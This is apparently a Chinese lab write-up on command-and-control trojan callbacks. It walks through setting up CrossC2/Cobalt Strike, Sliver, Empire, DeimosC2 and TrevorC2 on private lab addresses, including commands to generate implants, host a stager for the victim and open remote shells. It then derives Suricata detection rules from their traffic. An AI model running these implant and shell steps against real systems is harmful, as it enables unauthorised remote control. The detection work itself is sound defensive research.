【组内工作】木马回联
文章目录
- C2服务器安装和运行方法
- CrossC2运行方法
- sliver运行方法
- empire安装方法
- DeimosC2安装教程
- TrevorC2安装教程:
- C2服务器的流量特征
- CrossC2
- 1. 心跳包
- 2. 命令
- 3. ja3/ja3s
- Sliver
- 1. http
- 2. https
- empire
- http
- https
- DeimosC2
- https
- TrevorC2
C2服务器安装和运行方法
CrossC2运行方法
注意:这个只能是服务器和攻击者是同一台主机才能运行,即都是192.168.230.137
cs服务器:192.168.230.137(kali)
攻击者:192.168.230.137(kali)
受害者:192.168.230.143(windows 10)
-
在cs服务器192.168.230.137上:
- 打开一个终端,输入:
sudo su
./teamserver 192.168.230.137 123456
- 打开一个终端,输入:
-
在攻击者192.168.230.137上:
-
再打开一个终端,输入:
./cobaltstrike
-
设置监听器,https的
-
导入插件,cna文件
-
生成payload
-
将生成的恶意文件(两个,一个是lib,一个是out)放到受害者主机上
-
-
在受害者192.168.230.143上:
./t_cc2.out
-
在攻击者192.168.230.137上运行wireshark即可,过滤条件ip.addr==192.168.230.143
sliver运行方法
cs服务器:192.168.230.137
攻击者:192.168.230.138
受害者:192.168.230.143
-
在cs服务器192.168.230.137上:
./sliver-server_linux
new-operator --name qinjian --lhost 192.168.230.137
//只用执行第一次
multiplayer
-
在攻击者192.168.230.138上:
将cs服务器192.168.230.137上生成的文件放到与sliver-client_linux同目录下
./sliver-client_linux import qinjian_192.168.230.137.cfg
//只用执行第一次
./sliver-client_linux
-
接下来,无论在cs服务器或者攻击者上都可以,执行以下命令:
generate --mtls 192.168.230.137 --save test.exe --os Windows
//生成shell
mtls
//开启mtls协议监听
implants
//查看生成过的shell
jobs
//查看进程 -
将生成的shell文件test.exe放到windows受害者上,并运行
双击test.exe -
接下来,无论在cs服务器或者攻击者上都可以,执行以下命令:
sessions
//查看会话
sessions -i id
//进入会话 sessions -k id //结束会话
shell --shell-path "C:\\windows\system32\cmd.exe"
//进入交互式shell
exit
//退出 -
在攻击者192.168.230.138上开启wireshark抓包,过滤条件ip.addr==192.168.230.143
empire安装方法
注意这里cs服务器和攻击者是同一台机器
cs服务器:192.168.230.138
攻击者:192.168.230.138
受害者:192.168.230.143
-
在cs服务器192.168.230.138上运行:
./ps-empire server
-
在攻击者192.168.230.138上运行:
./ps-empire client
-
设置监听器:
uselistener [tap键选择监听器类型]
set Name [监听器名称]
set Port [端口号]
execute
listeners
//查看设置的监听器
kill [监听器Name]
//删除监听器 -
设置后门:
usestager [tap键选择后门类型]
set Listener [监听器Name]
set OutFile [后门文件,例如launcher.bat]
//可写可不写,默认就是set OutFile launcher.bat
execute
-
将launcher.bat放到/var/www/html目录下,然后让受害者192.168.230.143访问该文件
-
在攻击者192.168.230.138上运行:
agents
//查看获取的代理会话
shell whoami
//执行命令
DeimosC2安装教程
cs服务器:192.168.230.137
攻击者:192.168.230.138
受害者:192.168.230.143
-
cs服务器上运行:
./DeimosC2
-
攻击者上:
登录https://192.168.230.137:8443
用户名:qinjian
密码:qinjian1030
add listener – 地址设为192.168.230.137
下载对应操作系统的agents,下载的位置可以从浏览器的右上角的下载标志找到 -
受害者上:
运行下载的agents
TrevorC2安装教程:
cs服务器:192.168.230.137
攻击者:192.168.230.138
受害者:192.168.230.143
sudo su
conda create -n py37 python=3.7
(只第一次需要运行)
conda activate py37
-
在cs服务器上运行:
目录:SecistSploit
sudo su
conda activate py37
python SSF.py
use listener/trevorc2
show options
set lhost [本机ip]
// 设置当前ip
set target 2
// 设置生成的agent文件的类型,有三种1->C# 2->powershell 3->python
run
// 生成agent文件list
// 查看受害者主机
interact 1
// 与受害者主机交互 -
在受害者上运行生成的agent文件
C2服务器的流量特征
CrossC2
1. 心跳包
suricata规则:
自己想的:alert tcp any any -> any any (msg:"Heartbeat Extension Detected"; flow:established; tls.handshake.type: 1; tls.handshake.extensions["heartbeat"]; content:"|00 0F 00 01 01|"; depth:5;sid:100001; rev:1; )
实际用的:alert tcp any any -> any any (msg:"Heartbeat Extension Detected";flow:established;content:"|00 0F 00 01 01|";sid:100001;rev:1;)
2. 命令
-
执行命令时与平时的心跳包不太一样,会多传一些数据:
-
并且加密数据是以
00 00 00 00 00 00 00 02
开头的
suricata规则:
alert tls any any -> any any (msg:"Detect HTTPS Application Data with 0000000000000002";content: "|00 00 00 00 00 00 00 02|";flow:established; sid:100002; rev:1;)
3. ja3/ja3s
ja3:alert tls any any -> any any(msg:"CorssC2 https ja3";ja3.hash;content:"fd80fa9c6120cdeea8520510f3c644ac";classtype:misc-activity;sid:1001;rev:1)
ja3s:alert tls any any <> any any(msg:"CorssC2 https ja3s";ja3s.hash;content:"b7bd51222a09f3ad66a340710ae9c01a";sid:1002)
Sliver
1. http
-
独特的头部特定标识 / 特定的请求响应模式(html)
观察sliver的源码发现,Sliver的C2木马连接服务端有5种类型的消息,使用内置路径段随机生成请求路径,所有路径将具有以下扩展名之一,不同的文件扩展名指示了请求的类型。除了扩展名之外,路径中的所有内容都会被服务器忽略。
- .woff = Stagers(默认不使用)
- .js = Long poll messages(长消息轮询,加密交互数据)
- .html = Key exchange messages (密钥交换,set-cookie)
- .php = Session messages
- .png = Close session messages(关闭会话)
随机路径生成的方法:
请求包的特征:- 方法:POST/GET
- path为各个后缀所对应的字符串列表中多个字符串的组合:StagerPaths、PollPaths、SessionPaths、ClosePaths
- 文件名为各个后缀所对应的字符串列表其中之一的字符串:StagerFiles、PollFiles、SessionFiles、CloseFiles
- 文件后缀:.woff、.js、.html、.php、.png
- 参数名称为NonceQueryArgs: “abcdefghijklmnopqrstuvwxyz_”,从这些字符串中选择1-2个
- nonce值的长度为1到10位,包含数字和小写字母与下划线。
综上,写出的suricata规则为:
.woff:
alert tcp any any -> any any (msg: "Sliver HTTP woff request"; flow:to_server,established;content:".woff";http_uri;pcre: "/\/(static|assets|fonts|locales)(.*?)((attribute_text_w01_regular|ZillaSlab-Regular\.subset\.bbc33fb47cf6|ZillaSlab-Bold\.subset\.e96c15f68c68|Inter-Regular|Inter-Medium)\.woff)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000001;classtype:trojan-activity; rev:1;)
.js:
alert tcp any any -> any any (msg: "Sliver HTTP js request"; flow:to_server,established;content:"GET";http_method;nocase;content:".js";http_uri;pcre: "/\/(js|umd|assets|bundle|bundles|scripts|script|javascripts|javascript|jscript)(.*?)((bootstrap|bootstrap.min|jquery.min|jquery|route|app|app.min|array|backbone|script|email)\.js)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000002;classtype:trojan-activity; rev:1;)
.html:
alert tcp any any -> any any (msg: "Sliver HTTP html request&getsessionID"; flow:to_server,established;content:"POST";http_method;nocase;content:".html";http_uri;pcre: "/\/(php|api|upload|actions|rest|v1|oauth2callback|authenticate|oauth2|oauth|auth|database|db|namespaces)(.*?)((login|signin|api|samples|rpc|index|admin|register|sign-up)\.html)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000003;flowbits:set,name;flowbits:noalert;classtype:trojan-activity; rev:1;)
.html:
alert tcp any any <> any any (msg: "Sliver HTTP html response&set-cookie";flow:to_client,established;content:"Set-Cookie";http_header;pcre:"/^Set-Cookie\:\s*(PHPSESSID|SID|SSID|APISID|csrf-state|AWSALBCORS)\=[a-z0-9]{32}\;\s*HttpOnly$/i";sid:1000004;flowbits:isset,name;classtype:trojan-activity;)
.php:
alert tcp any any -> any any (msg: "Sliver HTTP php request"; flow:to_server,established;content:"POST";http_method;nocase;content:".php";http_uri;pcre: "/\/(php|api|upload|actions|rest|v1|oauth2callback|authenticate|oauth2|oauth|auth|database|db|namespaces)(.*?)((login|signin|api|samples|rpc|index|admin|register|sign-up)\.php)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000005;classtype:trojan-activity; rev:1;)
.png:
alert tcp any any -> any any (msg: "Sliver HTTP png request"; flow:to_server,established;content:".png";http_uri;pcre: "/\/(static|www|assets|images|icons|image|icon|png)(.*?)((favicon|sample|example)\.png)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000006;classtype:trojan-activity; rev:1;)
2. https
-
ja3(s)加密指纹特征:
ja3:
Alert tls any any -> any any(msg:"sliver https debian";ja3.hash;content:"19e29534fd49dd27d09234e639c4057e";classtype:misc-activity;sid:1001;rev:1)
ja3s:
Alert tls any any <> any any(msg:"sliver https";ja3s.hash;content:"f4febc55ea12b31ae17cfb7e614afda8";sid:1002)
empire
http
https
DeimosC2
https
-
tls版本1.2/1.3
-
https端口号:C2服务器默认为4443(不过可以修改)
-
ja3(s)加密指纹特征
ja3:Alert tls any any -> any any(msg:"sliver https debian";ja3.hash;content:"e564ee1b7bcae4467d8c759df910ed9c";classtype:misc-activity;sid:1001;rev:1)
ja3s:Alert tls any any <> any any(msg:"sliver https";ja3s.hash;content:"f4febc55ea12b31ae17cfb7e614afda8";sid:1002)
(和sliver一样)
TrevorC2
-
心跳包:http(服务器主机返回的http相应包会包含非常多的payload,且Reassembled TCP length: 386861)
-
受害者主机端口号每次发送一个http请求,就更换一个端口,端口号逐次+1
Suricata规则:alert tcp any any -> any any (msg:"HTTP Request Source Port Sequential Increase"; flow:established, to_server; content:"GET"; http_method; pcre:"/^Host:[^\r\n]+\r\n/"; lua:check_port.lua; sid:100001; rev:1;)
check_port.lua代码:function init(args)-- 这里可以执行一些初始化操作local rules = {}return rules endfunction check_port(pkt, data)if not pkt.is_http or not pkt.is_request thenreturn 0endlocal src_port = pkt.src_portlocal prev_src_port = pkt.prev_pkt.src_portif src_port ~= prev_src_port + 1 thenreturn 1endreturn 0 end
-
交互发送命令,受害者主机会发送一个url为:/images?guid=xxxx,xxxx类似于base64编码,最后会用=填充(有时候能用base64解码,有时候不能,而且解出来的编码也很像base64编码)
Suricata规则:alert tcp any any -> any any (msg: "TrevorC2 interact"; flow:to_server,established;content:"/images?guid=";http_uri;pcre: "/\/images\?guid=[A-za-z0-9+\/=](.*)/i";sid:1000002;classtype:trojan-activity; rev:1;)
相关文章:
![](https://img-blog.csdnimg.cn/0c97fccfecd044e48edf6e97d226046a.png)
【组内工作】木马回联
文章目录 C2服务器安装和运行方法CrossC2运行方法sliver运行方法empire安装方法DeimosC2安装教程TrevorC2安装教程: C2服务器的流量特征CrossC21. 心跳包2. 命令3. ja3/ja3s Sliver1. http2. https empirehttphttps DeimosC2https TrevorC2 C2服务器安装和运行方法 …...
![](https://img-blog.csdnimg.cn/img_convert/05306c16b00d49ea8cda8930650882cb.jpeg)
未来将会有更多基于 Cortana 的设备
在前些日子的 Build 大会首日 Keynote 中,微软正式确认 HP 跟 Intel 也正在开发基于 Cortana 平台的联网家居产品,这是继推出 Invoke 喇叭的 Harman Kardon 后,又有知名大牌加入到 Cortana 的阵营当中,有这样的品牌资源背景&#…...
![](https://img-blog.csdnimg.cn/65752ddd1e844cd5af400d7f416f3e34.png)
嵌入式硬件系统的基本组成
嵌入式硬件系统的基本组成 嵌入式系统的硬件是以包含嵌入式微处理器的SOC为核心,主要由SOC、总线、存储器、输入/输出接口和设备组成。 嵌入式微处理器 每个嵌入式系统至少包含一个嵌入式微处理器 嵌入式微处理器体系结构可采用冯.诺依曼(Von Neumann&…...
![](https://www.ngui.cc/images/no-images.jpg)
def __init__(self, **kwargs):中的**kwargs是什么意思
**kwargs是什么意思 在Python中,**kwargs是一种特殊的参数形式,用于接收可变数量的关键字参数(Keyword Arguments)。kwargs是一个字典(dictionary),其中关键字是参数名,对应的值是传…...
![](https://www.ngui.cc/images/no-images.jpg)
web攻击面试|网络渗透面试(三)
Web攻击大纲 常见Web攻击类型: SQL注入攻击:介绍SQL注入攻击的概念、原理和常见的攻击方式,如基于错误消息的注入、基于布尔盲注的注入等。解释攻击者如何利用SQL注入漏洞获取敏感信息或者对数据库进行恶意操作,并提供防御措施&a…...
![](https://www.ngui.cc/images/no-images.jpg)
数据分析方法
常用的数据分析方法有:1、对比分析法;2、分组分析法;3、结构分析法;4、留存分析法;5、交叉分析法;6、漏斗分析法;7、矩阵分析法;8、象限分析法;9、趋势分析法;…...
![](https://www.ngui.cc/images/no-images.jpg)
Spring全家桶---白虎篇
其中包括:Spring、Spring6、Spring Data、Spring Cloud Alibaba、Spring Cloud、Spring Boot、Spring Security、SpringMVC。 👏作者简介:大家好,我是小童,Java开发工程师,CSDN博客博主,Java领域…...
![](https://www.ngui.cc/images/no-images.jpg)
深度优先搜索|79, 695,212
深度优先搜索|79. 单词搜索, 695. 岛屿的最大面积, 212. 单词搜索 II 单词搜索岛屿的最大面积单词搜索II 单词搜索 用的是深度优先搜索,这种判断类型的回溯我就一直不知道要怎么回退,然后勉强写了一个。 这里还有一个注意事项就是,走到最后一…...
![](https://www.ngui.cc/images/no-images.jpg)
论文阅读与管理方法论
文章目录 为什么读论文论文类型综述论文专题论文 论文质量角度关于如何找论文的小Tips如何整理论文读论文的困境如何读论文不同人群阅读差异读论文三部曲:泛读、精读、总结泛读:快速浏览,把握概要。泛读目标及效果自测 精读:选出精…...
![](https://www.ngui.cc/images/no-images.jpg)
基于OAI与Ueransim的5G网络切片平台构成简述
自定义多切片核心网构建 为了实现在同一台机器上同时对每一个切片启动一套单独的核心网,并且可以同时启动多套核心网,我们在官方提供的核心网模板的基础上进行适当的修改,扩展出其他可以正常运行的核心网,由此我们可以实现在同一…...
![](https://img-blog.csdnimg.cn/9ed0ce8e62fd467ea38b8ba44f04ab02.png)
论文笔记:Adjusting for Autocorrelated Errors in Neural Networks for Time Series
2021 NIPS 原来的时间序列预测任务是根据预测论文提出用一阶自回归误差预测 一阶差分,类似于ResNet的残差思路?记为pred,最终的预测结果...
![](https://img-blog.csdnimg.cn/eb0afdfc96304548ae0ff5957a023148.png)
DataEase开源BI工具安装_数据全量_增量同步_大屏拖拽自动生成_多数据源支持_数据血缘分析---大数据工作笔记0183
我这里用的是Centos7.9安装的 可以通过uname -p来查看一下我们的电脑架构,可以看到是x86_64架构的 我们下第一个,这个是x86架构的,第二个arm架构的 然后解压到/opt/module中 然后再去重命名一下文件夹. 推荐200G 本地模式的功能比较多 推荐100G...
![](https://www.ngui.cc/images/no-images.jpg)
如何提升程序员的软素质
目录 软素质包含哪些方面怎么做总结 软素质包含哪些方面 在项目研发迭代的过程中,确保一次上线顺利不难,难得是每次上线都顺利。对一个人或团队,只要有一次上线有问题,那在领导看来,你这个人或团队的工作是不靠谱的。…...
![](https://img-blog.csdnimg.cn/img_convert/6d7e10ddb411aa33c100d9589132cd83.png)
msvcp100.dll丢失怎么修复,这三个常用的修复方法可以解决
msvcp100.dll是一个动态链接库文件,它是Microsoft Visual C Redistributable软件包的一部分。这个文件的作用是提供在运行C程序时所需的函数和功能。msvcp100.dll是一个非常重要的文件,它为我们提供了许多关键的函数和类,使得我们能够更高效地…...
![](https://img-blog.csdnimg.cn/feb48fa22c324b928995f6d8a2103d18.png)
python实现递推算法解决分鱼问题
一、问题描述 A、B、C、D、E5个人合伙夜间捕鱼,凌晨时都已经疲惫不堪,于是各自在河边的树丛中找地方睡着了。第二天日上三竿时,A第一个醒来,他将鱼平分为5份,把多余的一条扔回河中,然后拿着自己的一份回家…...
![](https://img-blog.csdnimg.cn/img_convert/f4c4bb87ef12a99ac6f9f6b5cd5f3636.png)
【LeetCode】142.环形链表Ⅱ
题目 给定一个链表的头节点 head ,返回链表开始入环的第一个节点。 如果链表无环,则返回 null。 如果链表中有某个节点,可以通过连续跟踪 next 指针再次到达,则链表中存在环。 为了表示给定链表中的环,评测系统内部…...
![](https://img-blog.csdnimg.cn/img_convert/cc2de8fe7bfe240e1669331c88d03651.png?x-oss-process=image/watermark,image_bG9nby9jc2RuXzEucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLGhfMTIy,g_se,x_0,y_0,t_100)
16.Netty源码之ChannelPipeline
highlight: arduino-light 服务编排层:ChannelPipeline协调ChannelHandlerHandler EventLoop可以说是 Netty 的调度中心,负责监听多种事件类型:I/O 事件、信号事件、定时事件等,然而实际的业务处理逻辑则是由 ChannelPipeline 中所定义的 Cha…...
![](https://www.ngui.cc/images/no-images.jpg)
“使用Spring Boot构建微服务应用的最佳实践“
标题:使用Spring Boot构建微服务应用的最佳实践 摘要:本文将介绍如何使用Spring Boot构建微服务应用的最佳实践。我们将讨论微服务架构的概念、Spring Boot的优势以及一些最佳实践,同时提供示例代码帮助读者更好地理解和实践。 正文&#x…...
![](https://img-blog.csdnimg.cn/e337b60ed4934656aba5dab2f40d169c.png)
redis高可用之主从复制,哨兵,集群
目录 前言 一、主从复制 1、主从复制的作用 2、主从复制流程 3、部署Redis 主从复制步骤 3.1 环境准备 3.3 修改Redis 配置文件(Master节点操作) 3.4 修改Redis 配置文件(Slave节点操作) 3.5 验证主从效果 二、哨兵 1、哨兵模式原理 2、哨兵模式…...
![](https://img-blog.csdnimg.cn/4d4c3ebff298452b90b5d16e23b8d011.png)
【Ajax】笔记-原生jsonp跨域请求案例
原生jsonp跨域请求 输入框:输入后,鼠标移开向服务端发送请求,返回用户不存在(直接返回不存在,不做判断) JS <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><me…...
![](https://img-blog.csdnimg.cn/a27f4dc3d3d9402cabb54d532c2e74e7.png)
QT--day2(信号与槽,多界面跳转)
第一个界面头文件: #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QIcon> //图标头文件 #include <QPushButton> //按钮类头文件QT_BEGIN_NAMESPACE namespace Ui { class Widget; } QT_END_NAMESPACEclass Widget : public…...
![](https://img-blog.csdnimg.cn/img_convert/e10868be9dccda8266fdff82e0fa201e.png)
热备份路由协议原理
热备份路由协议原理 HSRP协议/VRRP协议热备份协议 热备份协议(Hot Standby Protocol) 是一种基于冗余设计的协议,用于提高网络的可靠性和冗余性。它允许多个设备共享同一个IP地址,其中一个设备被选为主设备,其他设备…...
![](https://www.ngui.cc/images/no-images.jpg)
模拟实现定时器
关于java标准库中的定时器的使用可以看定时器Timer的使用 大致思路 定义一个MyTimeTask类,该类用于组织要执行任务的内容以及执行任务的时间戳,后面要根据当前系统时间以及执行任务的时间戳进行比较,来判断是否要执行任务或是要等待任务 用一…...
![](https://www.ngui.cc/images/no-images.jpg)
TCP/IP的分包粘包
TCP/IP的分包粘包 分包粘包介绍导致分包粘包的原因导致TCP粘包的原因:导致TCP分包的原因:避免分包粘包的措施 分包粘包介绍 因为TCP为了减少额外开销,采取的是流式传输,所以接收端在一次接收的时候有可能一次接收多个包。而TCP粘…...
![](https://img-blog.csdnimg.cn/4960bd5766d544798921d149c4f93ced.jpeg)
盘点:查快递教程
在“寄快递”成为常态的当下,如何快速进行物流信息查询,是收寄人所关心的问题。在回答这个问题之前,首先我们要知道,物流信息查询,有哪些方法? 1、官网单号查询 知道物流公司和单号的情况下,直…...
![](https://oscimg.oschina.net/oscnet/up-a740e324e78757c2d01487caa238bbc104c.png)
TransGPT 开源交通大模型开源
TransGPT 是开源交通大模型,主要致力于在真实交通行业中发挥实际价值。 它能够实现交通情况预测、智能咨询助手、公共交通服务、交通规划设计、交通安全教育、协助管理、交通事故报告和分析、自动驾驶辅助系统等功能。 TransGPT 作为一个通用常识交通大模型&#…...
![](https://img-blog.csdnimg.cn/aec3b1a99a31457b94f9592bdf1b5b94.png)
gitignore文件使用方法(gitignore教程)(git status --ignored)(git check-ignore -v <file>)
文章目录 Gitignore文件使用描述Gitignore基本语法1. 基本语法★★★★★2. 配置方法 匹配示例示例1示例2示例3 其他命令git status --ignored(用于显示被Git忽略的文件和文件夹的状态)git check-ignore -v <file>(用于检查指定文件是否…...
![](https://www.ngui.cc/images/no-images.jpg)
mybatis拼接sql导致的oom报错 GC报错
报错1:mybatis拼接过多 java.lang.OutOfMemoryError: GC overhead limit exceeded 具体报错: nested exception is org.apache.ibatis.builder.BuilderException: Error evaluating expression ew.sqlSegment ! null and ew.sqlSegment ! and ew.non…...
![](https://img-blog.csdnimg.cn/img_convert/ee0834084aa36aab3169977c2c2af524.png)
如何通俗理解扩散模型?
扩散模型(Diffusion Model)是一类十分先进的基于扩散思想的深度学习生 成模型。生成模型除了扩散模型之外,还有出现较早的 VAE ( Variational Auto- Encoder,变分自编码器) 和 GAN ( Generative Adversarial Net ,生成对抗网络) 等。 虽然它们…...
【C#】并行编程实战:并行编程中的模式
本章将介绍并行编程模式,重点是理解并行代码问题场景并使用并行编程/异步技术解决他们。本章会介绍几种最重要的编程模式。 本教程学习工程:魔术师Dix / HandsOnParallelProgramming GitCode 1、MapReduce 模式 引入 MapReduce 是为了解决处理大数据的问…...
![](https://img-blog.csdnimg.cn/img_convert/51a79fbe1bd39893f8633971f6d47dce.png)
网站注册域名后怎么做/seo职业培训班
BAT是Windows系统下的批处理文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们,这对处理一…...
![](/images/no-images.jpg)
青岛做视频的网站/关键词优化是什么
下一篇文章:Python模块分析:第2节-hashlib加密模块 random是Python产生伪随机数的模块,随机种子默认为系统时钟。下面分析模块中的方法: 1、random.randint(start,stop) 这是一个产生整数随机数的函数,参数start代表最…...
![](/images/no-images.jpg)
网站建设既有书籍又有光盘/seo是什么技术
给你一个整数数组 citations ,其中 citations[i] 表示研究者的第 i 篇论文被引用的次数。计算并返回该研究者的 h 指数。 根据维基百科上 h 指数的定义:h 代表“高引用次数”,一名科研人员的 h指数是指他(她)的 &…...
![](/images/no-images.jpg)
建设网上银行个人网上银行登/南京百度提升优化
Oracle数据字典是有表和视图组成的,存储有关数据库结构信息的一些数据库对象。数据库字典描述了实际数据是如何组织的。对它们可以象处理其他数据库表或视图一样进行查询,但不能进行任何修改。Oracle数据库字典通常是在创建和安装数据库时被创建的&#…...
![](/images/no-images.jpg)
wordpress 新建栏目/关键词优化哪家好
1.论述 1.1.获取计算机系统所有实际可用物理区域信息 计算机系统的物理区域并不是连续的,且有的物理区域映射到特定硬件内部区域以便实现特定功能。 对计算机系统的物理区域进行分页管理,首先,要获取所有离散的物理区域信息。 INT 15h, AXE…...
![](/images/no-images.jpg)
做网站得每年续费吗/揭阳seo快速排名
但凡使用mybatis,同时与spring集成使用时,接下来要说的这个问题是躲不了的。众所周知,mybatis的SqlSessionFactory在获取一个SqlSession时使用默认Executor或必须要指定一个Executor,这样一来,在同一个SqlSession的生命…...